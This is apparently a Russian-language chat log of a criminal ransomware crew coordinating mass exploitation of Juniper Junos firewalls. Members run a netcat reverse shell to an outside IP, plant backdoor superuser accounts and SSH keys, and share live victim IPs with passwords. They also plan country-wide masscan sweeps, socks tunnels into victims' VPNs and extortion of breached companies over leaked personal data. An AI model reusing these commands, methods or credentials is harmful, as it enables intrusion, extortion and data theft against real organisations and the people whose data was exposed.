я так то преписал часть

ну вот пустые ответы

когда пытаешь шелл пролить

а должен быть ответ в json

мы тогда пилим пока софт для рассылки и готовим базы

+

оо

кажется что-то у меня получилось

немного не так запрос делал

фух

да погодите

я только сделал молучение сессии

сделал secci.ca

бро полностью переделал их блог, это был пздц позор

ща он выглядит угрожающи

может как то напомнить им о себе

?)

ну да, они финансисты, много номером социального страхования утекло от них

персональной даты

ревеню не большое у них, пусть отдадут 50-100к...

они заходили в чат?

ну я уже сам нашел

этто

смотрите

нам нужно туда что залить?

а ты можешь свою нагрузку дать попробовать подгрузить?

лоадер или куда вы грузите

тока есть да проблема ы https исправил по сути

короче я уже сделал пролив

т.е. нам нужно залить файл

и запустить его?

ну там может можно создавать учетную запись что бы подключаться к vpn

и как то может можно доставать логины и пароли с бд, пароли даже шифрованные нужны похуй

нужно вот думать

что нам дальше с этим делать

ну нам нужно создавать учетную запись нужно скорее всего, что бы подключится к VPN

как я понял можно команды выполнять

либо поднимать пробовать носок

но еще я это не написал

это надо там ковыряться внутри

через cli все там делается я уже глянул

в шодане все равно не вся инфа, надо все страны нужные нам сканить масссканом на порты и определять сервис

сейчас прям начинать такое себе, нужно подготавливать все

сканить искать сразу пачку потому что в шодане не все конторы

> <@usernamegg:matrix.bestflowers247.online> ты мне доступ сможешь выдать уже к пробитому ?

ничего тут не выдается

это как с магентой мы сначала подготавливались долго собирали шопы итд

не просто с воздуха начали быстрее быстрее, все было по уму

тут cli по сути на пайтоне написан

да куда угодно

в кобу не приходит мне просто

сек

ты же можешь доступ ща сделать изи на любую уязвимую

DAF390020DB15B4D2822803CC3F4D69EC81D37552B485037261D688F8901665ACA3615B85B09

надо на какую нибудь шерсть или может тестовую сделать

может быть автор эксплойта что подскажет как поднимать тунель vpn на juniper

тип ты отправляешь пайтону команду, а он через шелл уже передает ее по http

мне через час нужно будет отойти на пару часов

короч нужно подумать что нам запускать там

это POC потому что, его нужно дорабатывать

что бы делать полноценное RCE автоматическое

думаю нужно будет создать пользователя

чтобы может по ссх подключаться как-то

yy же может разобраться или я потыкать могу

можем вместе все потыкать

> <@usernamegg:matrix.bestflowers247.online> тип ты отправляешь пайтону команду, а он через шелл уже передает ее по http

я вот читаю и пока не понимаю как VPN профиль там создать можно или подключаться к VPN

я даже не разу не видал как выглядит сама панель авторизации в VPN

Первое что нам нужно подключаться как то к внутренней сети по VPN прям через официальное приложение если это возможно, или через socks. Но лучше через официальное приложение, но для этого нужно создавать какую то учетную запись у которой будут привилегии на коннект по VPN.

Это нужно тыкать все прям в CLI смотреть

ясно, разбираться короч еще нужно

https://www.juniper.net/documentation/us/en/software/secure-connect/secure-connect-user-guide/topics/topic-map/install-juniper-secure-connect-on-windows.html

нужно искать какими комманадами создать пользователя

++

https://support.juniper.net/support/tools/vpnconfig/

> <@usernamegg:matrix.bestflowers247.online> нужно искать какими комманадами создать пользователя

ладно, я пока cli себе перепешу

ща гляну

заупстил

Click the dropdown list to view the currently added

бля что с текстом))

короче профиль нужен VPN

не по логину и паролю вход я так понял

ща установлю эту хуйню гляну по фасту

клиент сам

судя по гайду там нихуя как обычно ввел логин и пароль и поехал

там профиль нужен, скорее всего профиль генерируется в админке junoos

* там профиль нужен, скорее всего профиль генерируется в админке junos

запуск дабл клик?

а все, софос прибил его

ща я пока делаю, чтобы у меня cli работал

а потом уже буду пробывать

но я сегодня уже наверное только cli успею сделать

так как отойду через 40 минут

завтар уже продолжим

www.royaleinternational.com

под лок?

да, я понимаю

смотрите вы пока можете посмотреть

что мне с cli делать

какие мне команды написать

https://www.juniper.net/documentation/us/en/software/secure-connect/secure-connect-administrator-guide/topics/topic-map/local-authentication-with-local-ip-pool.html

чтобы создать пользователя

глянь

и вам выдать доступы

у нас по сути только cli есть

X 2023-11-15 в 19.22.18.jpg

image.png

то что нужно походу нашел

86.dll

pay.exe

rundll32.exe dll,StartW

я не знаю откуда мне щас знать

я читаю

я вобще никогда не сталкивался с juniper

ок

так я тоже

там nc работает?

++

`nc 179.60.149.235 443 -e /bin/bash`

попробуй в консоли ебнуть

комманда?

я вот вроде сделал cli

ща проверю

пароль

ну да я тебе скинул

что бы я реверс шелл получил

это при условии что там стоит nc

ага 5 мин

nc: not found

ты ввел команду?

понял значит не стоит netcat

напиши в консоль знак вопроса

снесло обе

?: not found

так мы долго будем что то решать

если ты дал кодеру POC и у него есть clie

* если ты дал кодеру POC и у него есть cli, ему проще будет

```

https://support.juniper.net/support/downloads/?p=vsrxeval

вот тут можно скачать и накатить свою Juniper SRX Firewall

сделал etude-villa.fr у них 31гб, написал 43

напиши сначала cli

а потом ?

set system login user teun authentication ssh-rsa "<public key>

я ща это попробую

нужно это в cli делать

> <@lapa:matrix.bestflowers247.online> set system login user teun authentication ssh-rsa "<public key>

и ошибок не выдало

ну команда ls работает допустим

у меня нет консоли

я не знаю что там и как

как я должен это решать?)

хотя бы пробовать решать

дай yy эксплойт пусть занимается

JuniperVulnerable.txt

https://www.juniper.net/documentation/us/en/software/junos/user-access/topics/topic-map/junos-os-user-accounts.html

cli -c "show system users

вот так как я понял нужно выполнять

Ок

я без cli и эксплойта ничего тыкать не могу изучать

X 2023-11-15 в 19.59.26.jpg

не переходит на https ссылки в браузере

ебала какая то

я пробовал даже в браузере отключать защиту все равно нихуя не пускает

понял Ок

ну разберуться

нужно массканом чекать все страны нужны

* нужно массканом чекать все страны нужные

что за чекер мой?

у меня нет чекера))

сервер нужен мощный для масскана

есть конечно сервис с массканом но как будто он как то хуево чекает

http://masscan.online/

я чекал им списки, но как будто false positive было много но это не точно

https://github.com/vulncheck-oss/cve-2023-36845-scanner

нужно насканить актуальные для нас страны массканом на разные порты, не только на 443, на 8443 к примеру тоже с определением сервиса, и извлечь по спискам отдельно по разным сервисам все VPN сервисы

ща я поем, подключусь к какой нибудь поеботине и потыкаюсь

но думаю что yy быстрее разберется у него понимания больше

> <@usernamegg:matrix.bestflowers247.online> это прям все уязвимы ?

у меня самый первый уязывимый уже

я пока смотрю как ссх юзера сделать

сотка строк осталась, ничего не нашли

Спасибо все я похавал

там на 500 строк если повезет 1акк в домене будет)

оо

ура

нашел комманду для создания юзера

прав через серт ed25519

получилось создать юзера ссх

какой чекер?

хотя это походу не совсем тот юзер который нужно

я уже договариваюсь ща возьмем

ща скину линк на форуме он на xss

это другой челик, тот с ником котики пропал куда то

это виндовая программа пиздец

тот который продавал давно чекер он веб был

эти чекеры хуевые

не сам чекер норм

а если говорить о бруте то это хуйня

ща

погодите

короче это видимо юзер внутри cli

но по 22 порту через ссх конектится

в нем просто допусти команда ls не выполняется

X 2023-11-15 в 20.47.57.jpg

он в телеге

X 2023-11-15 в 20.48.14.jpg

я ему еще писал пару недель назад))

ну вот комманда ? выполняется

я не помечаю, это автоматом походу ставится

randomuser@1584613> ?

подойдет вам такой юзер?

короч

скоро я создам пару пользователей

выдам вам публичный и приватный ключ ссх

зайдете посмотрите

ок?

надо конфиг как то создать на юзера

вы о чем сейчас?

от чего приватный и публичный не понял

Попробуйте установить себе на RDP:

да это не тот юзер который нужен

https://www.youtube.com/watch?v=kkhxWldRW04

Кто то сядьте посмотрите видос, ZZ займись этим, может что интересное заметишь

bc1qzl2a3t8pe9qf5tw8sju64g58darlatt5x9fpfz

200$

пробую устанавливать

ssh randomuser@36.92.197.137

что то у меня приустановке полоса загрусги в обратную сторону ушла

id_ed25519

id_ed25519.pub

не знаю

проверьте все равно, что можно сделать

я ему права суперпользователя ставлю

скину чекер тебе, пусть поставит кто будет заниматься

image.png

да у меня такая же хуйня произошла, я подумал может из за того что у нас серверная ОС хуй знает

залупа какая то

проверил

я вошел туда

🥋😎

image.png

ну у тебя встала збс

2.jpg

https://www.youtube.com/watch?v=j5p1jQTfILM

Configuring Juniper Secure Connect - CLI

я поставил на win10 если что

не на сервер

там драйвер какой то должен ставится

ну вот я выше написал что возможно из за того что у нас серверные ОС

я между строк читаю

точнее выборочно)

короче в видео

X 2023-11-15 в 21.02.24.jpg

вот заметил

логин и пароль

серт сам подгрузится

нам нужно как то долбаебов выкачать или создать

это уже интереснее

туда без пасса заходит

но видос нормальный

/root/.ssh сюда серт нужно положить

два файлы что выже сбросил

я же вошел туда

?

блин

короч

This is a much more cleaner way of executing commands and avoids the logs. Speaking of, Logs of exploitation are automatically cleaned by the privilege escalation script (Refer to priv_esc.php).

там в мануале

чистить за собой следы нужно еще

я же сделал ссх доступ

зашел я на него через коммануду ssh на линуксе

возмите рутовую впск на убунту

залейте два файлы что я выше дал в папку /root/.ssh

ssh randomuser@36.92.197.137 и выполняете команду эту

уже круто что есть ссх доступ

нужно думать что там сконфигурировать

ssh-copy-id -i id_ed25519 randomuser@36.92.197.137

да

> <@usernamegg:matrix.bestflowers247.online> https://www.youtube.com/watch?v=j5p1jQTfILM

чувак выполняет команды

request ...

т.е. такая команда есть в этой ссх

request ?

если такое ввести

то подстказку дает для команды request

короч, что нам нужно настроить?)

доступ к впн?

у вас получилоь попасть в ссх?

randomuser@36.92.197.137 ну сюда

ну я думаю они как-то создаются черех ссх эту

завтра уже думаю

и так голова кипит

выхохнуть хочу

ну вот я ссх эти наделаю по серту

потом напишу если что другой модуль

который задет на ссх и выполнит, что надо

https://www.juniper.net/documentation/en_US/junos-space20.3/topics/task/operational/junos-space-juniper-secure-connect-vpn-create.html

ну пока я вижу только что через веб делается

`cat /var/log/httpd.log`

посмотреть http логи на сервере

https://www.youtube.com/watch?v=j5p1jQTfILM кажется здесь он что-то делает

завтра уже посмотрю внимательно

он создает там клиента и ставит ему пасс

и он как раз работает в консоле этой

он там конечно наверное с нуля все настраивает

нам нужно думаю только содание пользователя

да

я логи поднял смотрю

logs.txt

ладно, я все, завтра уже буду смотреть этот видом полностью и разбираться как создать впн

офаюсь

у меня почему то интерактивная консоль не работает

cli

в нее не заходит почему то

http://temp.sh/eUwrV/TMChecker.zip

Братец, тут?

> <@w:matrixtcFJHPDblmt2rg.network> я скоро буду заливать апдейт на панель, появиться такой функционал:

* я скоро буду заливать апдейт на панель, появиться такой функционал:

сделал почти все задачи

осталось только создание задач и щас тут еще реверсеры атакают

щас фильтра добавлю, чтобы их зашить

дай еще серверов с сертами

> <@usernamegg:matrix.bestflowers247.online> ssh randomuser@36.92.197.137

я думал он еще сделал

хз, смотрю вот

F63320-0E6BB3-F21BC6-83B494-10CDB3-V3

вот ключ

я щас во всю тестирую)

можешь смотреть

заходишь в бота

логика точно такая же

правда сейчас только кол-во пассов и так далее показывает

ну и дает архив скачать

позже чутка сделаю так, чтобы на панели это все было сразу

ну все пассы, и автофилы

и так далее

Не слиилсь кстати сетки с переговоров?

++

от чекера

https://www.juniper.net/documentation/us/en/software/secure-connect/secure-connect-administrator-guide/topics/task/secure-connect-vpn-using-IKEv1-radius-cli-procedure.html

Не на своей тестить все ебашить жестко будет не спалится бы, лучше бы свой сервер по сути поднять и уже тыкать все если что то напортачить не страшно что бы было, а то так спалится можно

Пока все хуево, не понятно что делать

я глянул интерфейсы

```

можно по сути сделать тунель между нашим vps и въебанной vpn сервером

открывая socks порт на нашей vps

но сокс будет работать в сети VPN

это типа реверса эдакого

купил вчера 100к мыл

50 прогнал через валидатор

7500 тимсов получилось

не плохо в целом

Привет! Посмотрю пока видео

поменял лог пасс у рута, нового юзера не получилось регнуть пока что. но доступ к машине есть, причем получилось лучше, чем у того чела

тк я не сразу в cli, а могу номральные команды выполнять

что делаем дальше? грузим сокс?

image.png

доброе

доброе

доброе

добрэ

скинешь сокс тогда?

там разные сокс боты

LINUX: https://backconnect.org/?id=da898393512221b7e5550400ed60cf8d

чет я посмотрел это видео, капец там много команд и многое не понятно

дал SS, он хочет через кобу подключиться к нему

ок, сделаете сервер?

нет

ок, скоро подниму

мне тип пробывать сокс бота запускать?

на junos ?

jun-socks.out

jun socks

поднял

пейлоад как сгенерировать?

привет

shopbentley.com что то блог куда то пропал. ты выключил его? там все докачалось если что

> <@usernamegg:matrix.bestflowers247.online> sacksteinlaw.com

запустил сокс бота

но ошибка

/ss.out: Authentication error

на линкусе запускал, все ок, стучит

на junщы

на junos "/ss.out: Authentication error" такое выдает

sh ./ss.out вот так еще запустил

ELF: not found

такая херь

не пашет там сокс бот

видимо нужно компилировать под junos

https://36.92.197.137/login

jlee vM476KU_y3Q'

получилось создать доступ с вебу

* получилось создать доступ к вебу

может через веб будет проще настроить впн

соксбота

да

я так запускал

на junos не пашет

> <@usernamegg:matrix.bestflowers247.online> ты зашел сюда ?

по ссх

а

и сделал просто юзера с пассом

я думал это список скана

сделал блог на jlgmarine.com у них 81гб, написал 97

подсвети их

https://36.92.197.137/login у меня открылось все

jlee vM476KU_y3Q' доступы

/jun-socks.out: Authentication error.

ну так серт нужно принять этот

как я вчера говорил

суета

через гуглхром пробуйте

нужно делать на сисколах наверное

или мазилу

ELF: not found

на другом также сокс бот запускается

junos это freebsd

может разраб перекомпилирует для freebsd ?

* на другом также сокс бот не запускается

я поеду к вам через 15 мин?

тут

https://116.48.143.96/login

jkey vM476KU_y3Q'

еще доступ сделал

ну и для ссх тоже такой же

я наверное напишу уже скрипт, чтобы наделал доступов

лучше пусть будут доступы логин и пасс, чтобы еще и в веб можно было заходить

бро по BELZONA

я хз кто ее подписал

image.png

но я ее даже скачать не успел

а инфу взяли с

image.png

ее нет на ftp7

ее никогда не было на моих ftp

и даже линков на скачку нет на нее

ну вот так, она отвалилась раньше

сайт не открывается или креды не подходят?

я ее не качал

https://116.48.143.96:443 jkey

пасс у всех такой vM476KU_y3Q'

я хзщ кто это взял инфу с iman и вставил в berlzona

вы через edge вроде заходите?

вам вроде edge просто не дает зайти, так как серт сайта ему не нравится

через мазилу попробуйте

+

```

Привет

это что?

аа в firefox откроется?

ебать он там устанавливается как то?

2863 потенциально уязвимых из 51701

вот сейчас допишу скрипт, и запущу уже делать доступы

ебать

интересно

посмотрим сколько из 2863 поулчится сделать уже реальный доступ

а как веб получилось поставить и везде если что можно будет поставить веб?

нормально, но щас массово не нужно ставить палево же

в кобе есть один junos

сокс поднимается через него

в кобе

> <@usernamegg:matrix.bestflowers247.online> 2863 - потенциально уязвимых сейчас

> <@usernamegg:matrix.bestflowers247.online> а как веб получилось поставить и везде можно будет сделать ?

https://116.48.143.96:443 jkey

вот делает

потом сброшу как закончится

да

socks4:167.114.188.51:53676

тут линк и пользователь

на Windows RDP кто нибудь поставьте этот носок

пароль у всех одинаков, выше сбрасывал

и зайдите на ifconfig.me

скажите какой IP покажет

ну или на whoer.net - нужен IP и страна

пароль бы конечно менять, но гемор, так он там хешированый

и так еле разобрался какой командой создавать это... а том там еще экранирование срабатывало и портило пароль.

короче это жоступ и в веб и в ссх

image.png

уже 82 доступа еть

* уже 82 доступа есть

image.png

но еще нужно будет самим сканить все айпишники, с юсовских начать

> <@usernamezz:matrix.bestflowers247.online> sent an image.

ну носок работает походу

через кобу который

да это вижу

бля у меня тор ебаный не запускается почему то

понять не могу что блочит

но если сканить, и быстро, нужен сервер норм... хотяб на 32гб оперативки и 16 ядер, что-то такое

`ssh 116.48.143.96:22 root abc123@abc`

а то вы мне выдали слабый)

соксы не нужны будут, тор нодов подниму много

`https://190.4.22.74:443 jpost`

наконец то зашел в тор))

ща проверю

да у меня тоже

скоро проверю

хз

короч и ссх у него не работает

Entering configuration mode

хотя при создании пользователя ошибок нет

отчекали pulseway

Делать сегодня длл?

позже сделаю еще проверку точно ли схх авторизуется

пока делаю скрипт для сканинга

юсовских айпишников

Привет

Пока ничего, пока ничего даже в голову не пришло, думал LNK собрать, не его палят другие АВ

хочу что то такое уникальное сделать, чтобы другие АВ главное молчали

и все работало как надо без MOTW

Configure / Authentication / Access Profiles

у всех пусто?

Понял

много куда не получается войти?

Буду на связи

да

A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.

просто тут что-то про коннект пишет

а не ошибку авторизации

Ок

ок, я еще сделаю проверку ссх

и уже буду выдавать точно те, у которых ссх работает и авторизация проходит успешно

ну просто я его не буду делать сейчас

палевно же

если админ придет и пасс не подхоидт

кипешить начнет

скоро займусь чигинком ссх на валидность

> <@usernamegg:matrix.bestflowers247.online> есть что то ?

интересно трафик во внутреннюю сеть тоже трафик идет или нет

https://118.69.127.226:443 jpost

5 socks в кобе на Linux не поднимается

только socks4

https://116.48.143.96:443

да я и создаю там супер юзера

у всех

> <@usernamegg:matrix.bestflowers247.online> почему

> <@usernamenn:matrix.bestflowers247.online> https://116.48.143.96:443

не в веб

а через впн

у кого там усановилось вчера

> <@usernamenn:matrix.bestflowers247.online> https://116.48.143.96:443

бля

привет

в комментах пишут что секур коннект для джунипера 20+

расшифруйте файлик там плиз

ssh 116.48.143.96 jkey vM476KU_y3Q'

вот в таком формате буду выдавать валидные

норм?

они проверенны на ссх

ну я смотрю есть такие, у которых к ссх тупо нет коннекта

либо порт не 22

а у нас какой?

тот что ты скинул 15

как так

я же последнюю версию скинул

Administration / Devices / Config Management / History

* Administration / Devices / Config Management / History

> <@usernamenn:matrix.bestflowers247.online> я же последнюю версию скинул

JunOS

основана на FreeBSD

JUNOS Software Release [15.1X49-D170.4]

а

а что щас уже 20 версия ластовая?

нет

выше есть

Junos OS Release 15.1X49-D170 for vSRX Release Notes

не понял 15 версия что 19 года что ли

это скорее апдейт последний

я так понял у них версии по дате релизак

* я так понял у них версии по дате релиза

понял

Regardless the appweb version in JunOS 12.1 (Released 2015) to JunOS 23.1R1 (Released 2023) are vulnerable.

https://www.topgun-tech.com/end-of-service-life/juniper/junos-os/

значит все ок

запустил проверку валидности ссх

как закончится, сброшу список ссх

я просто не понимаю почему у нас старые какие то джуны

шодан старую помойку только показывает что ли

174 валидных ссх есть уже

> <@usernamenn:matrix.bestflowers247.online> шодан старую помойку только показывает что ли

отойду на 15 минут, поем

и пока отчекаются это время. на тетсты дернули часть подтвержденных